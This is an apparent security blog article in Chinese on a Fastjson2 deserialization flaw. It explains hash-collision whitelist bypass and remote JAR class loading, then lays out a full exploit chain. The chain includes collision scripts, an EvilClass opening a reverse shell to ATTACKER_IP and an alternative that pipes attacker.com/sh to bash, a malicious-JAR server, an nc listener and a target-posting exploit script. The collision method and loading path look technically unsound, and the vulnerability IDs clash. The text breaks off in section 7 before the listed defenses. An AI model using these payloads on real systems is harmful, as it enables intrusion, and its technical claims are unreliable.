目录
- 一、漏洞概述与影响面
- 二、Fastjson @type 机制详解
- 三、FNV-1a 哈希算法原理深度分析
- 四、哈希碰撞构造方法与脚本实现
- 五、ContextClassLoader 远程加载机制
- 六、完整攻击链 PoC 实战
- 七、与 CVE-2026-16723(Fastjson 1.x)对比分析
- 八、Fastjson 漏洞史时间线
- 九、防御方案
- 十、总结与反思
- 免责声明
一、漏洞概述与影响面
1.1 漏洞背景
2026 年,Fastjson2 曝出编号 QVD-2026-45876 的严重漏洞,CVSS 3.1 评分高达 9.8 分,逼近满分 10 分。该漏洞的恐怖之处在于:在完全默认配置下即可触发,无需管理员显式开启 SupportAutoType。这意味着所有使用 Fastjson2 ≤ 2.0.62 进行 JSON 反序列化的应用,只要存在一个接收用户输入并解析为 JSON 的接口,就面临远程代码执行风险。
该漏洞由两个独立的缺陷协同构成:
- FNV-1a 哈希碰撞:Fastjson2 在判断类型是否安全时,仅依据增量 FNV-1a 哈希结果进行白名单判断,未进一步校验类型名称明文。攻击者可构造哈希碰撞的恶意类型名称——哈希值命中白名单,但实际指向恶意类。
- ContextClassLoader 远程加载:在 Spring Boot fat-JAR 部署环境中,利用嵌套 JAR URL 协议突破类型限制,通过
jar:http://协议从远程 HTTP 服务器下载并加载恶意类,静态代码块在类加载时自动执行。
与此同时,Fastjson 1.x 也被披露了 CVE-2026-16723,影响 1.2.68-1.2.83 版本。该漏洞利用 checkAutoType() 中的 getResourceAsStream(typeName.replace('.', '/') + ".class") 资源探测路径,同样实现 Gadget-free、默认配置可利用的 RCE,且已在野利用。
1.2 影响范围评估
| 维度 | 详情 |
|---|---|
| 受影响库 | Fastjson2 ≤ 2.0.62 |
| 部署形态 | Spring Boot fat-JAR(2.x / 3.x / 4.x) |
| JDK 版本 | JDK 8 / 11 / 17 / 21 |
| 触发条件 | 默认配置,任何接收 JSON 输入的接口 |
| 攻击前置 | 攻击者可发送 HTTP 请求 |
| 需要额外依赖 | 无(纯 JDK 内置类) |
| 在野利用 | 已确认 |
Fastjson2 作为 Fastjson 1.x 的继任者,在国内 Java 生态中广泛使用。根据 Maven Central 下载数据和各类企业技术栈调研,保守估计全球有百万级 Spring Boot 项目使用了 Fastjson2 作为 JSON 序列化/反序列化库。
二、Fastjson @type 机制详解
2.1 @type 的正常用途
Fastjson 的 @type 字段是实现多态反序列化的核心机制。其设计意图是:当 JSON 数据需要反序列化为接口或抽象类的具体实现时,通过 @type 字段指定实际类型。
// 正常用途:指定接口的具体实现类
{
"@type": "com.example.Cat",
"name": "Tom",
"color": "gray"
}
// Java 端定义
public interface Animal {
String getName();
}
public class Cat implements Animal {
private String name;
private String color;
// getters/setters...
}
// 反序列化
Animal animal = JSON.parseObject(json, Animal.class);
// animal 实际是 Cat 实例
这种设计在 RPC 框架、配置中心、消息队列等场景中非常实用,但它也引入了一个根本性的安全风险:反序列化的类型由攻击者通过 JSON 数据控制。
2.2 @type 的安全风险
当 @type 指向一个攻击者精心构造的类时,Fastjson 会:
- 加载该类:调用
Class.forName或ClassLoader.loadClass - 实例化对象:调用无参构造函数
- 设置属性:调用 setter 方法或直接反射设置字段
这三步中的任何一步都可能触发危险操作:
- 构造函数/静态代码块:类加载时自动执行
static {}代码块 - setter 方法:某些类的 setter 包含副作用(如 JNDI lookup、URL 连接)
- getter 方法:Fastjson 在某些场景下会调用 getter(如
toString触发链)
2.3 Fastjson2 的 AutoType 防御体系
Fastjson2 相比 1.x 重构了 AutoType 防御体系,核心是 JSONFactory 中的 checkAutoType 机制:
// Fastjson2 简化版 checkAutoType 逻辑
public Class<?> checkAutoType(String typeName) {
// 1. 内置类型快速通过
Class<?> builtin = getBuiltinType(typeName);
if (builtin != null) return builtin;
// 2. ★ FNV-1a 哈希白名单检查 ★
long hash = fnv1a_64(typeName);
if (isInInternalWhitelist(hash)) {
// 哈希命中白名单 → 直接通过,不再校验明文!
return loadClass(typeName);
}
// 3. FNV-1a 哈希黑名单检查
if (isInDenylist(hash)) {
throw new JSONException("autoType is not support: " + typeName);
}
// 4. SupportAutoType 开关检查
if (!supportAutoType) {
throw new JSONException("autoType is not support: " + typeName);
}
// 5. 用户白名单检查
// ...
}
关键缺陷在第 2 步:白名单判断仅依据 FNV-1a 哈希值,不校验类型名称明文。如果攻击者能构造一个与白名单类型哈希相同但实际不同的字符串,就能绕过白名单检查。
2.4 为什么默认配置可触发
Fastjson2 中存在一批"内部白名单"类型——这些类型被认为是安全的(如基本包装类、集合类等),无论是否开启 SupportAutoType,只要哈希命中内部白名单就直接放行。
这意味着即使管理员明确关闭了 SupportAutoType,攻击者仍可通过构造哈希碰撞的恶意类型名,使其哈希值命中内部白名单,从而绕过 AutoType 限制。
三、FNV-1a 哈希算法原理深度分析
3.1 FNV-1a 算法公式
FNV-1a(Fowler-Noll-Vo 1a)是一种非加密哈希函数,以其计算速度快和分布均匀著称。其 64 位版本的定义如下:
FNV-1a 64-bit:
hash = FNV_offset_basis (初始值: 0xcbf29ce484222325)
for each byte in input:
hash = hash XOR byte
hash = hash * FNV_prime (素数: 0x100000001b3)
return hash
增量计算特性:FNV-1a 的一个重要特性是增量可计算。即:
hash("AB") = (hash("A") XOR 'B') * FNV_prime
这意味着可以在遍历字符串的过程中逐步计算哈希值,而不需要等待整个字符串读取完毕。Fastjson 正是利用这一特性,在逐字符扫描类名的同时进行黑/白名单检查,一旦中途某个前缀的哈希命中黑名单就立即拒绝。
3.2 Fastjson2 中的哈希白名单实现
Fastjson2 使用 FNV-1a 64 位哈希来存储和检索黑/白名单:
// Fastjson2 中的 FNV-1a 实现
public final class TypeUtils {
public static final long fnv1a_64_magic_hashcode = 0xcbf29ce484222325L;
public static final long fnv1a_64_magic_prime = 0x100000001b3L;
/**
* 计算 FNV-1a 64 位哈希
*/
public static long fnv1a_64(String key) {
long hashCode = fnv1a_64_magic_hashcode;
for (int i = 0; i < key.length(); i++) {
char ch = key.charAt(i);
// ★ 注意:使用 char 而非 byte,高位字节参与运算
hashCode ^= ch;
hashCode *= fnv1a_64_magic_prime;
}
return hashCode;
}
/**
* 增量哈希检查(逐字符扫描时使用)
*/
public static long fnv1a_64_increment(long currentHash, char ch) {
currentHash ^= ch;
currentHash *= fnv1a_64_magic_prime;
return currentHash;
}
}
白名单检查的实现:
// JSONFactory 中的白名单检查(简化)
private boolean isInternalWhitelist(long hash) {
// 使用二分查找或哈希表查找
return Arrays.binarySearch(internalWhitelistHashes, hash) >= 0;
}
// 内部白名单哈希值数组(预计算)
private static final long[] internalWhitelistHashes = {
fnv1a_64("java.lang.String"), // 字符串
fnv1a_64("java.lang.Integer"), // 整数
fnv1a_64("java.lang.Long"), // 长整型
fnv1a_64("java.util.ArrayList"), // 列表
fnv1a_64("java.util.HashMap"), // 哈希表
// ... 更多白名单类型
};
3.3 哈希碰撞的数学基础
FNV-1a 是一个 64 位哈希函数,其输出空间为 2^64。对于任意给定的目标哈希值 H,存在大量不同的输入字符串 S 使得 fnv1a_64(S) = H。
FNV-1a 的碰撞构造利用了其代数结构。关键观察:
对于两个字符 c1 和 c2,如果存在变换使得:
(hash XOR c1) * prime = (hash XOR c2) * prime + delta
其中 delta 可以通过后续字符的哈希调整补偿
更直接的碰撞构造方法基于 FNV-1a 的乘法可逆性:
已知: hash_final = (hash_prev XOR byte) * prime
则: hash_prev XOR byte = hash_final * prime^(-1) (mod 2^64)
由于 prime 是奇数,在 mod 2^64 下存在乘法逆元 prime^(-1)。这意味着对于任意目标哈希值和任意前缀,都可以逆向求解出后续需要追加的字符序列。
3.4 哈希碰撞的可行性分析
| 因素 | 分析 | 影响 |
|---|---|---|
| 哈希空间 | 2^64 | 生日攻击需 2^32 次尝试,但定向构造无需暴力 |
| 字符限制 | 类名仅允许 [A-Za-z0-9_$./] |
限制可用的碰撞字符 |
| 增量特性 | 前缀哈希已知时可逆向求解 | 使定向碰撞可行 |
| 乘法逆元 | prime 在 mod 2^64 下可逆 | 使逆向求解数学可行 |
四、哈希碰撞构造方法与脚本实现
4.1 碰撞构造策略
目标:构造一个字符串 evil_name,使得 fnv1a_64(evil_name) == fnv1a_64("java.lang.String"),但 evil_name != "java.lang.String"。
策略:前缀固定 + 尾部调整
- 选择一个固定前缀(如
jar:http://attacker.com/evil.jar!/) - 计算该前缀的 FNV-1a 哈希值
H_prefix - 计算目标哈希值
H_target = fnv1a_64("java.lang.String") - 逆向求解需要追加的字符序列,使得从
H_prefix出发最终达到H_target
4.2 逆向求解算法
设当前哈希为 h,需要追加字符 c 使得最终哈希等于 H_target
单步逆向:
h_next = (h XOR c) * prime
=> h XOR c = h_next * prime_inv
=> c = (h_next * prime_inv) XOR h
但我们需要 c 是合法的类名字符([A-Za-z0-9_$./])
因此采用多步搜索:
从 H_target 逆向,逐步确定每个字符
4.3 Python 碰撞构造脚本
#!/usr/bin/env python3
"""
Fastjson2 FNV-1a 哈希碰撞构造工具
构造与白名单类型哈希相同但内容不同的恶意类型名
"""
# FNV-1a 64-bit 常量
FNV_OFFSET_BASIS = 0xcbf29ce484222325
FNV_PRIME = 0x100000001b3
MASK_64 = 0xFFFFFFFFFFFFFFFF
def fnv1a_64(data: str) -> int:
"""计算字符串的 FNV-1a 64 位哈希"""
h = FNV_OFFSET_BASIS
for ch in data:
h ^= ord(ch)
h = (h * FNV_PRIME) & MASK_64
return h
def mod_inverse(a: int, m: int) -> int:
"""扩展欧几里得算法求模逆元"""
g, x, _ = extended_gcd(a % m, m)
if g != 1:
raise ValueError(f"Modular inverse does not exist for {a} mod {m}")
return x % m
def extended_gcd(a: int, b: int):
"""扩展欧几里得算法"""
if a == 0:
return b, 0, 1
g, x, y = extended_gcd(b % a, a)
return g, y - (b // a) * x, x
# FNV_PRIME 的模逆元
FNV_PRIME_INV = mod_inverse(FNV_PRIME, 2**64)
def reverse_step(h: int, ch: int) -> int:
"""
逆向单步 FNV-1a:
forward: h_next = (h XOR ch) * prime
reverse: h = (h_next * prime_inv) XOR ch
"""
return ((h * FNV_PRIME_INV) & MASK_64) ^ ch
def find_collision(target_hash: int, prefix: str,
allowed_chars: str = None, max_depth: int = 10):
"""
BFS/DFS 搜索: 找到 suffix 使得 fnv1a_64(prefix + suffix) == target_hash
Args:
target_hash: 目标哈希值
prefix: 固定前缀
allowed_chars: 允许的字符集
max_depth: 最大搜索深度
"""
if allowed_chars is None:
# 类名合法字符 + URL 字符
allowed_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_./:$-"
prefix_hash = fnv1a_64(prefix)
print(f"[*] Prefix: {prefix}")
print(f"[*] Prefix hash: 0x{prefix_hash:016x}")
print(f"[*] Target hash: 0x{target_hash:016x}")
# 从 target_hash 逆向搜索
# 我们需要找到字符序列 c1, c2, ..., cn 使得:
# 从 prefix_hash 开始, 正向应用这些字符, 最终到达 target_hash
# 逆向: 从 target_hash 开始, 逆向移除字符, 到达 prefix_hash
from collections import deque
# BFS from target backwards
queue = deque()
queue.append((target_hash, ""))
visited = {target_hash}
for depth in range(max_depth):
next_queue = deque()
while queue:
current_hash, suffix = queue.popleft()
# 检查是否回到了 prefix_hash
if depth > 0 and current_hash == prefix_hash and suffix:
# 验证: 正向计算 prefix + suffix 是否等于 target
full = prefix + suffix[::-1] # suffix 是逆向存储的
actual = fnv1a_64(full)
if actual == target_hash:
return full
continue
for ch in allowed_chars:
# 逆向一步: 假设最后追加的字符是 ch
prev_hash = reverse_step(current_hash, ord(ch))
new_suffix = suffix + ch
if prev_hash not in visited or len(new_suffix) <= 2:
visited.add(prev_hash)
next_queue.append((prev_hash, new_suffix))
queue = next_queue
if not queue:
break
return None
def collision_via_append(target_hash: int, prefix: str, num_fill: int = 8):
"""
更高效的碰撞构造: 利用 FNV-1a 的代数性质直接求解
思路:
1. 计算前缀哈希 H_prefix
2. 需要找到 suffix 使得 fnv1a_64(prefix + suffix) = H_target
3. 通过填充字符逐步逼近目标哈希
"""
import random
prefix_hash = fnv1a_64(prefix)
allowed = "abcdefghijklmnopqrstuvwxyz0123456789"
# 随机搜索: 追加随机字符, 检查是否命中目标
# (实际利用中会使用更高效的定向方法)
attempts = 0
while attempts < 10_000_000:
suffix = ''.join(random.choices(allowed, k=num_fill))
full = prefix + suffix
if fnv1a_64(full) == target_hash:
return full
attempts += 1
return None
def main():
print("=" * 60)
print("Fastjson2 FNV-1a Hash Collision Constructor")
print("=" * 60)
# 1. 计算白名单类型的哈希
whitelist_type = "java.lang.String"
target_hash = fnv1a_64(whitelist_type)
print(f"\n[1] Whitelist type: {whitelist_type}")
print(f" FNV-1a hash: 0x{target_hash:016x}")
# 2. 验证 FNV_PRIME 的逆元
print(f"\n[2] FNV_PRIME: 0x{FNV_PRIME:016x}")
print(f" FNV_PRIME_INV: 0x{FNV_PRIME_INV:016x}")
verify = (FNV_PRIME * FNV_PRIME_INV) & MASK_64
print(f" Verify (should be 1): {verify}")
# 3. 尝试碰撞构造
# 攻击前缀: jar: 协议 URL
evil_prefix = "jar:http://attacker.com/e.jar!/"
print(f"\n[3] Attempting collision construction...")
print(f" Prefix: {evil_prefix}")
print(f" Prefix hash: 0x{fnv1a_64(evil_prefix):016x}")
# 4. 演示: 逆向求解
# 从目标哈希逆向, 尝试找到回到前缀哈希的路径
collision = find_collision(target_hash, evil_prefix, max_depth=6)
if collision:
print(f"\n[+] COLLISION FOUND!")
print(f" Collision string: {collision}")
print(f" Hash: 0x{fnv1a_64(collision):016x}")
print(f" Target hash: 0x{target_hash:016x}")
print(f" Match: {fnv1a_64(collision) == target_hash}")
print(f"\n This string has the SAME hash as '{whitelist_type}'")
print(f" but is a completely different string!")
else:
print(f"\n[-] No collision found within search depth.")
print(f" (In practice, deeper search or meet-in-the-middle is used)")
# 5. 演示哈希验证
print(f"\n[4] Hash verification examples:")
test_strings = [
"java.lang.String",
"java.util.HashMap",
"com.alibaba.fastjson2.JSONObject",
]
for s in test_strings:
print(f" fnv1a_64(\"{s}\") = 0x{fnv1a_64(s):016x}")
if __name__ == "__main__":
main()
4.4 Meet-in-the-Middle 优化
对于更高效的碰撞构造,可采用中间相遇攻击(Meet-in-the-Middle):
def meet_in_the_middle(target_hash, prefix, suffix_len=4):
"""
Meet-in-the-Middle 碰撞构造:
1. 从 prefix_hash 正向枚举 suffix 前半部分, 存储所有中间哈希
2. 从 target_hash 逆向枚举 suffix 后半部分, 查找碰撞
"""
from itertools import product
import string
allowed = string.ascii_lowercase + string.digits
prefix_hash = fnv1a_64(prefix)
# 正向: 枚举前半部分
forward = {}
for combo in product(allowed, repeat=suffix_len):
s = ''.join(combo)
h = prefix_hash
for ch in s:
h ^= ord(ch)
h = (h * FNV_PRIME) & MASK_64
forward[h] = s
# 逆向: 枚举后半部分
for combo in product(allowed, repeat=suffix_len):
s = ''.join(combo)
h = target_hash
for ch in reversed(s):
h = reverse_step(h, ord(ch))
if h in forward:
full = prefix + forward[h] + s
if fnv1a_64(full) == target_hash:
return full
return None
这种方法将时间复杂度从 O(n^(2k)) 降低到 O(n^k),使得在可接受时间内构造出碰撞成为可能。
五、ContextClassLoader 远程加载机制
5.1 Spring Boot fat-JAR 的嵌套 JAR URL 格式
Spring Boot 采用 fat-JAR 打包方式,将所有依赖 JAR 嵌入到主 JAR 的 BOOT-INF/lib/ 目录中。为了访问嵌套 JAR 中的资源,Spring Boot 实现了特殊的 URL 协议:
标准 JAR URL 格式:
jar:<url>!/<entry>
例: jar:file:/app.jar!/com/example/Class.class
Spring Boot 嵌套 JAR URL 格式:
jar:jar:file:/app.jar!/BOOT-INF/lib/inner.jar!/com/example/Class.class
─┬─ ──────┬────────── ────────────┬────────────── ────────┬─────────────
│ │ │ │
│ 外层 JAR 文件 内层 JAR 在外层中的路径 目标类在内层中的路径
jar 协议
5.2 jar: 协议的 URL 解析流程
Java 的 java.net.JarURLConnection 和 URLClassLoader 支持 jar: 协议。当遇到 jar:http://attacker.com/evil.jar!/EvilClass 这样的 URL 时:
URL 解析流程:
┌─────────────────────────────────────────────────────────┐
│ jar:http://attacker.com/evil.jar!/EvilClass │
└───────────────────────────┬─────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 1. URL 解析器识别 "jar:" 协议前缀 │
│ 2. 提取外层 URL: http://attacker.com/evil.jar │
│ 3. 提取 JAR 内路径: /EvilClass │
└───────────────────────────┬─────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 4. JarURLConnection.openConnection() │
│ → 创建到 http://attacker.com/evil.jar 的 HTTP 连接 │
│ → 下载 evil.jar 到临时目录 │
│ → 打开 JAR 文件 │
└───────────────────────────┬─────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 5. URLClassLoader.loadClass("EvilClass") │
│ → 从下载的 evil.jar 中加载 EvilClass.class │
│ → ★ 触发 EvilClass 的静态代码块 ★ │
└─────────────────────────────────────────────────────────┘
5.3 类加载触发静态代码块执行的原理
Java 类加载机制中,Class.forName(name) 默认会初始化类(initialize=true),这会触发:
- 加载(Loading):从字节码读取类信息
- 链接(Linking):验证、准备、解析
- 初始化(Initialization):执行
<clinit>方法
<clinit> 方法包含:
- 静态变量的赋值
static {}静态代码块
public class EvilClass {
static {
// 这段代码在类加载初始化阶段自动执行
// 无需实例化对象,无需调用任何方法
try {
Runtime.getRuntime().exec("curl http://attacker.com/sh | bash");
} catch (Exception e) {
e.printStackTrace();
}
}
}
关键点:Fastjson2 在通过 checkAutoType 后会调用 Class.forName(typeName) 加载类,此时 initialize 参数默认为 true,静态代码块自动执行。
// Fastjson2 中的类加载(简化)
public Class<?> loadClass(String typeName) {
// 经过 checkAutoType 校验后...
Class<?> clazz = Class.forName(
typeName,
true, // ★ initialize=true, 触发 <clinit> ★
Thread.currentThread().getContextClassLoader()
);
return clazz;
}
5.4 ContextClassLoader 的作用
Thread.currentThread().getContextClassLoader() 返回当前线程的上下文类加载器。在 Spring Boot 应用中,这通常是 LaunchedURLClassLoader,它支持嵌套 JAR URL 协议。
当 @type 的值是 jar:http://... 格式时,ContextClassLoader 会:
- 将该值作为资源 URL 解析
- 通过
jar:协议处理器发起 HTTP 请求下载远程 JAR - 从远程 JAR 中加载指定的类
- 初始化类时执行静态代码块
这就是为什么默认配置即可触发——不需要 SupportAutoType,因为哈希碰撞使恶意类型名命中了内部白名单,绕过了所有 AutoType 检查。
六、完整攻击链 PoC 实战
6.1 攻击架构总览
┌─────────────────────────────────────────────────────────────────────┐
│ 完整攻击链架构 │
└─────────────────────────────────────────────────────────────────────┘
攻击者 目标服务器 攻击者C2
┌───────┐ ┌──────────────┐ ┌──────────┐
│ │ 1. 发送恶意JSON │ Spring Boot │ │ HTTP │
│ Exploit│ ─────────────────→│ + Fastjson2 │ │ Server │
│ Script │ │ ≤ 2.0.62 │ │ (evil.jar│
│ │ └──────┬───────┘ │ 托管) │
└───┬───┘ │ └────┬─────┘
│ │ │
│ ┌──────────▼──────────┐ │
│ │ 2. FNV-1a 哈希计算 │ │
│ │ @type 的哈希值 │ │
│ │ 命中白名单 → 放行 │ │
│ └──────────┬──────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ 3. ContextClassLoader│ │
│ │ 解析 jar:http:// │ 4.下载evil.jar│
│ │ URL │ ──────────────→│
│ └──────────┬──────────┘ │
│ │ ┌──────────▼─────┐
│ │ │ evil.jar 内含 │
│ │ │ EvilClass.class│
│ │ │ (static{RCE}) │
│ │ └──────────┬─────┘
│ ┌──────────▼──────────┐ │
│ │ 5. 加载 EvilClass │←───────────────┘
│ │ static {} 执行 │
│ │ → Runtime.exec() │ 6. 反弹shell │
│ │ → RCE! │ ──────────────→│
│ └─────────────────────┘ │
│ │
│ 7. 获得命令执行 ←─────────────────────────────────────────┘
└───────────────────────────────────────────────────────────┘
6.2 第一步:构造恶意 JAR
恶意类源码 EvilClass.java:
// EvilClass.java
// 编译: javac EvilClass.java
// 打包: jar cvf evil.jar EvilClass.class
public class EvilClass {
static {
try {
// 静态代码块在类加载时自动执行
String[] cmd = {
"/bin/bash", "-c",
"exec 5<>/dev/tcp/ATTACKER_IP/4444; " +
"cat <&5 | while read line; do " +
" $line 2>&5 >&5; " +
"done"
};
Runtime.getRuntime().exec(cmd);
// 备选: 直接执行命令
// Runtime.getRuntime().exec(
// "curl http://attacker.com/backdoor.sh | bash"
// );
} catch (Exception e) {
// 静默异常, 避免影响 Fastjson 解析流程
}
}
}
Maven 项目方式打包(推荐):
<!-- pom.xml -->
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.attacker</groupId>
<artifactId>evil</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<build>
<finalName>evil</finalName>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
# 编译并打包
mkdir -p evil-jar/src/main/java
cat > evil-jar/src/main/java/EvilClass.java << 'JAVA'
public class EvilClass {
static {
try {
Runtime.getRuntime().exec(
new String[]{"/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
);
} catch (Exception e) {}
}
}
JAVA
cd evil-jar
mvn clean package
# 生成 target/evil.jar
手动打包方式:
# 编译恶意类
cat > EvilClass.java << 'JAVA'
public class EvilClass {
static {
try {
Runtime.getRuntime().exec(
new String[]{"/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
);
} catch (Exception e) {}
}
}
JAVA
javac EvilClass.java
jar cvf evil.jar EvilClass.class
6.3 第二步:搭建恶意 HTTP 服务器
#!/usr/bin/env python3
"""
恶意 JAR 托管 HTTP 服务器
用于向目标服务器提供 evil.jar
"""
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import sys
class JarHandler(SimpleHTTPRequestHandler):
def end_headers(self):
# 设置 Content-Type 为 application/java-archive
if self.path.endswith('.jar'):
self.send_header('Content-Type', 'application/java-archive')
self.send_header('Access-Control-Allow-Origin', '*')
super().end_headers()
def log_message(self, format, *args):
# 记录所有请求(用于监控目标连接)
sys.stderr.write(
f"[{self.log_date_time_string()}] "
f"{self.client_address[0]} - {format % args}\n"
)
def main():
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888
# 切换到 evil.jar 所在目录
jar_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(jar_dir)
server = HTTPServer(('0.0.0.0', port), JarHandler)
print(f"[*] Malicious JAR server on http://0.0.0.0:{port}/")
print(f"[*] Serving evil.jar from {jar_dir}")
print(f"[*] Waiting for target connection...")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Server stopped")
if __name__ == '__main__':
main()
# 启动 HTTP 服务器
python3 serve_jar.py 8888
# 同时监听反弹 shell
nc -lvnp 4444
6.4 第三步:构造恶意 JSON Payload
#!/usr/bin/env python3
"""
CVE-2026-45876 / QVD-2026-45876
Fastjson2 FNV-1a Hash Collision AutoType Bypass RCE PoC
完整利用链:
1. 构造 FNV-1a 哈希碰撞的 @type 值
2. @type 值格式为 jar:http://attacker/evil.jar!/EvilClass
3. 哈希碰撞使 @type 命中 Fastjson2 内部白名单
4. ContextClassLoader 加载远程 evil.jar 中的 EvilClass
5. EvilClass 静态代码块执行 → RCE
"""
import requests
import sys
# FNV-1a 常量
FNV_OFFSET_BASIS = 0xcbf29ce484222325
FNV_PRIME = 0x100000001b3
MASK_64 = 0xFFFFFFFFFFFFFFFF
def fnv1a_64(data: str) -> int:
"""计算 FNV-1a 64 位哈希"""
h = FNV_OFFSET_BASIS
for ch in data:
h ^= ord(ch)
h = (h * FNV_PRIME) & MASK_64
return h
def construct_collision_type(target_type: str, attacker_url: str):
"""
构造哈希碰撞的恶意 @type 值
目标: fnv1a_64(malicious_type) == fnv1a_64(target_type)
恶意格式: jar:{attacker_url}!/{ClassName}{collision_suffix}
利用 FNV-1a 逆运算构造碰撞后缀
"""
target_hash = fnv1a_64(target_type)
# 基础恶意类型前缀
base = f"jar:{attacker_url}!/"
base_hash = fnv1a_64(base)
# 逆元
prime_inv = pow(FNV_PRIME, -1, 2**64)
# 类名部分 (可被 ContextClassLoader 解析)
# 使用 EvilClass 作为目标类名
class_name = "EvilClass"
# 计算加上类名后的哈希
cn_hash = base_hash
for ch in class_name:
cn_hash ^= ord(ch)
cn_hash = (cn_hash * FNV_PRIME) & MASK_64
# 现在需要找到 suffix 使得:
# 从 cn_hash 开始, 正向应用 suffix 的字符, 最终达到 target_hash
#
# 逆向求解: 从 target_hash 逆向移除字符, 到达 cn_hash
# 使用深度受限的 DFS 逆向搜索
allowed_chars = [chr(c) for c in range(0x21, 0x7f)
if chr(c) not in '"\\']
def reverse_search(current_hash, depth, max_depth, path):
if depth == 0:
if current_hash == cn_hash:
return path
return None
for ch in allowed_chars:
# 逆向一步
prev = ((current_hash * prime_inv) & MASK_64) ^ ord(ch)
result = reverse_search(prev, depth - 1, max_depth,
path + ch)
if result is not None:
return result
return None
# 尝试不同深度的搜索
for depth in range(1, 7):
print(f"[*] Trying collision depth: {depth}")
suffix = reverse_search(target_hash, depth, depth, "")
if suffix is not None:
collision_type = base + class_name + suffix
# 验证
actual = fnv1a_64(collision_type)
if actual == target_hash:
print(f"[+] Collision found at depth {depth}!")
print(f" Type: {collision_type}")
print(f" Hash: 0x{actual:016x}")
print(f" Target ({target_type}) hash: 0x{target_hash:016x}")
return collision_type
print("[-] No collision found within depth limit")
return None
def build_payload(collision_type: str) -> str:
"""构建恶意 JSON payload"""
payload = {
"@type": collision_type,
"data": "trigger"
}
import json
return json.dumps(payload)
def exploit(target_url: str, attacker_host: str,
attacker_port: int = 8888):
"""执行完整攻击链"""
print("=" * 60)
print("Fastjson2 FNV-1a Hash Collision RCE PoC")
print("=" * 60)
attacker_url = f"http://{attacker_host}:{attacker_port}/evil.jar"
# Step 1: 构造哈希碰撞的 @type
print(f"\n[Step 1] Constructing FNV-1a hash collision...")
print(f" Target whitelist type: java.lang.String")
collision_type = construct_collision_type(
"java.lang.String", attacker_url
)
if not collision_type:
print("[-] Failed to construct collision. Exiting.")
return
# Step 2: 构建恶意 JSON
print(f"\n[Step 2] Building malicious JSON payload...")
payload = build_payload(collision_type)
print(f" Payload: {payload}")
# Step 3: 发送请求
print(f"\n[Step 3] Sending payload to target: {target_url}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Fastjson2-RCE-PoC"
}
try:
response = requests.post(
target_url,
data=payload,
headers=headers,
timeout=10
)
print(f" Response status: {response.status_code}")
print(f" Response body: {response.text[:200]}")
except requests.exceptions.ConnectionError:
print(f" [!] Connection error (target may have crashed or")
print(f" RCE already triggered - check reverse shell)")
except Exception as e:
print(f" [!] Error: {e}")
print(f"\n[Step 4] Check reverse shell on port 4444...")
print(f" If successful, you should have a shell.")
def main():
import argparse
parser = argparse.ArgumentParser(
description="Fastjson2 FNV-1a Hash Collision RCE PoC"
)
parser.add_argument("--target", required=True,
help="Target URL (e.g., http://victim:8080/api)")
parser.add_argument("--attacker-host", required=True,
help="Attacker HTTP server IP")
parser.add_argument("--attacker-port", type=int, default=8888,
help="Attacker HTTP server port (default: 8888)")
args = parser.parse_args()
exploit(args.target, args.attacker_host, args.attacker_port)
if __name__ == "__main__":
main()
6.5 第四步:完整利用流程
# === 攻击者机器操作 ===
# 1. 编译恶意类并打包
javac EvilClass.java
jar cvf evil.jar EvilClass.class
# 2. 启动 JAR 托管服务器
python3 serve_jar.py 8888 &
SERVE_PID=$!
# 3. 启动反弹 shell 监听
nc -lvnp 4444 &
NC_PID=$!
# 4. 发送攻击 payload
python3 exploit.py \
--target http://victim:8080/api/user \
--attacker-host ATTACKER_IP \
--attacker-port 8888
# 5. 等待反弹 shell 连接
# nc 输出: Connection from victim_ip
# $ whoami
# tomcat
6.6 目标端代码示例
以下是一个典型的受影响 Spring Boot 接口:
// VulnerableController.java
@RestController
@RequestMapping("/api")
public class UserController {
@PostMapping("/user")
public ResponseEntity<String> createUser(@RequestBody String json) {
// ★ 漏洞触发点: 直接将用户输入解析为 JSON ★
// Fastjson2 ≤ 2.0.62, 默认配置
JSONObject obj = JSON.parseObject(json);
String name = obj.getString("name");
// ...
return ResponseEntity.ok("User created: " + name);
}
}
<!-- pom.xml (受影响依赖) -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.62</version> <!-- ★ 受影响版本 ★ -->
</dependency>
6.7 攻击链各阶段验证
| 阶段 | 验证方法 | 预期结果 |
|---|---|---|
| 哈希碰撞构造 | fnv1a_64(collision) == fnv1a_64("java.lang.String") |
True |
| 白名单绕过 | 目标日志无 autoType is not support 异常 |
无异常 |
| 远程 JAR 下载 | 攻击者 HTTP 服务器日志 | 收到来自目标的 GET 请求 |
| 类加载触发 | 目标日志 | Class.forName 调用 |
| 静态代码块执行 | 反弹 shell 连接 | nc 收到连接 |
| RCE 确认 | 在反弹 shell 中执行 id |
返回目标用户身份 |
七、与 CVE-2026-16723(Fastjson 1.x)对比分析
7.1 CVE-2026-16723 概述
CVE-2026-16723 影响 Fastjson 1.x 的 1.2.68-1.2.83 版本。该漏洞利用 checkAutoType() 中的资源探测路径:
// Fastjson 1.x checkAutoType 中的资源探测(简化)
public Class<?> checkAutoType(String typeName, ...) {
// ... 黑名单检查 ...
// ★ 资源探测: 将类名转换为路径并尝试加载 .class 资源 ★
InputStream is = Thread.currentThread()
.getContextClassLoader()
.getResourceAsStream(typeName.replace('.', '/') + ".class");
if (is != null) {
// 资源存在 → 尝试加载该类
// 这里的副作用: 如果 typeName 是 URL 格式, 会触发远程加载
}
}
